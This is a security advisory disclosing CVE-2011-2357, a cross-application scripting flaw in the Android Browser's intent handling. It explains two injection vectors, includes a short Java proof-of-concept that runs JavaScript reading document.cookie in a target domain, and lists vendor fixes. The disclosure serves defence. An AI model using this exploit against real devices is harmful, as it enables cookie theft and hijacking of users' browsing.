Android Browser Cross-Application Scripting

CVE-2011-2357

A security advisory

Roee Hay <roeeh@il.ibm.com> ◇ Yair Amit <yairam@gmail.com>
IBM Rational Application Security Research Group

July 31, 2011

1 Background

Android applications are executed in a sandbox environment, to ensure that no application can access sensitive information held by another, without adequate privileges. For example, Android's browser application holds sensitive information such as cookies, cache and history, and this cannot be accessed by third-party apps. An android app may request specific privileges during its installation; if granted by the user, the app's capabilities are extended.

Intents are used by Android apps for intercommunication. These objects can be broadcast, passed to the `startActivity` call (when an application starts another activity), or passed to the `startService` call (when an application starts a service). Normally, when `startActivity` is called, the target activity's `onCreate` method is executed. However, under `AndroidManifest.xml` it is possible to define different launch attributes, which affect this behavior. One example is the `singleTask` launch attribute, which makes the activity act as a singleton. This affects the `startActivity` call: if the activity has already been started when the call is made, the activity's `onNewIntent` member function is called instead of its `onCreate` method. Moreover, if the target activity is not in focus when the call is made, Android automatically inserts the `FLAG_ACTIVITY_BROUGHT_TO_FRONT` flag to the input Intent, which it doesn't do otherwise.

2 Browser Internals

The Android browser's main activity, as defined in its manifest file, is `BrowserActivity`. This is defined with the `singleTask` launch mode. The input Intent for the activity may hold a URL, which is opened and then rendered by the browser.

- The activity's `onCreate` member function, tries to restore the browser's previous state. If it fails to do so, it creates a new tab, with the input Intent's URL (if there is one), or else with the defined homepage.
- The activity's `onNewIntent` member function, has the following characteristic: If the Intent is not a search Intent (for example, if its action is `ACTION_VIEW`), or if it is a search Intent with a query string defined in URL form, then it performs a resolution in order to deduce which tab to load the given URL under (again, if there is no input URL, the homepage is used as a fallback):

- If the intent contains `FLAG_ACTIVITY_BROUGHT_TO_FRONT` flag, it tries to find a tab with a matching application ID (as indicated by the Intent's `Browser.EXTRA_APPLICATION_ID` extra string) or with a matching URL. If it fails to do so, it loads the URL in a new tab, as long as the number of opened tabs is less than `MAX_TABS` (usually 8). Otherwise, it opens the URL in the current tab.
- As a last resort, it loads the URL in the current tab.

The Browser app uses the WebView class as the underlying engine. If the `WebView` class has already loaded a URL, and the same instance is used to load a `javascript://` URI, then the javascript is executed in the domain of the loaded URL. This is the desired behavior, as it allows applications to inject scripts into loaded pages, and control the `WebView`. However, this means that the browser must take special care if it reuses the same `WebView` instance, in order to avoid a Cross-Application Scripting vulnerability.

3 Vulnerability

A 3^{rd} party application may exploit Android's Browser URL loading process in order to inject JavaScript code into an arbitrary domain thus break Android's sandboxing. There are two vectors that can achieve this:

1. The malicious application causes the Android's browser to reach the `MAX_TAB` limit. From then on URLs are loaded under the current tab. The attacking application can open `MAX_TAB` URLs by calling `startActivity` <`MAX_TAB`> times with the attacked domain. On the <`MAX_TAB`+1>th call, the attacking app can insert a `javascript://` URI, which will be opened in the context of the attacked domain. It should be denoted that the sent Intent should be combined with the `FLAG_ACTIVITY_BROUGHT_TO_FRONT` flag because it is likely that the Browser will have UI focus from the second intent and forward, in which case Android won't attach this flag automatically and the crucial code fragment under `onNewIntent` will not be executed.

2. Sending two consecutive `startActivity` calls. The first call includes the attacked domain, and causes Android's browser to load it. The second call contains the javascript code. If the time interval between the two intents is small enough, then it is likely that the browser will have UI focus when the second `startActivity` call is made, therefore the input intent won't have the `FLAG_ACTIVITY_BROUGHT_TO_FRONT` flag and, as explained in the previous vector, the JavaScript URI will be opened under the current tab, i.e. the attacked domain.

4 Impact

By exploiting this vulnerability a malicious, non-privileged application may inject JavaScript code into the context of any domain; therefore, this vulnerability has the same implications as global XSS, albeit from an installed application rather than another website. Additionally, an application may install itself as a service, in order to inject JavaScript code from time to time into the currently opened tab, thus completely intercepting the user's browsing experience.

5 Proof-of-Concept

The following is a PoC for the second technique:

```
public class CasExploit extends Activity
{
    static final String mPackage = "com.android.browser";
    static final String mClass =  "BrowserActivity";
    static final String mUrl = "http://target.domain/";
    static final String mJavascript = "alert(document.cookie)";
    static final int mSleep = 15000;
    @Override
    public void onCreate(Bundle savedInstanceState) {
          super.onCreate(savedInstanceState);
          setContentView(R.layout.main);
          startBrowserActivity(mUrl);
          try {
              Thread.sleep(mSleep);
          }
          catch (InterruptedException e) {}
          startBrowserActivity("javascript:" + mJavascript);
    }
    private void startBrowserActivity(String url) {
          Intent res = new Intent("android.intent.action.VIEW");
          res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));
          res.setData(Uri.parse(url));
          startActivity(res);
    }
}
```

6 Vulnerable versions

Android 2.3.4 and Android 3.1 have been found vulnerable.

7 Vendor Response

Android 2.3.5 and 3.2 have been released, which incorporate a fix for this bug. The fixes can be found in the following commits:

- `http://android.git.kernel.org/?p=platform/packages/apps/Browser.git;a=commit;h=afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e`
- `http://android.git.kernel.org/?p=platform/packages/apps/Browser.git;a=commit;h=096bae248453abe83cbb2e5a2c744bd62cdb620b`

Patches are available for Android 2.2.* and will be released at a later date. Organizations can contact `security@android.com` for patch information.
Android has communicated information about this vulnerability to their partners, and all new Android compatible devices are required to incorporate this bug fix:

- `http://source.android.com/compatibility/overview.html`
- `http://source.android.com/faqs.html#compatibility`
- `http://android.git.kernel.org/?p=platform/cts.git;a=commit;h=7e48fb87d48d27e65942b53b7918288c8d740e17`

Android Market actively scans all Android Market applications to detect and prevent exploitation of security vulnerabilities.

8 Acknowledgments

We would like to thank the Android Security Team for the efficient and quick way in which they handled this security issue.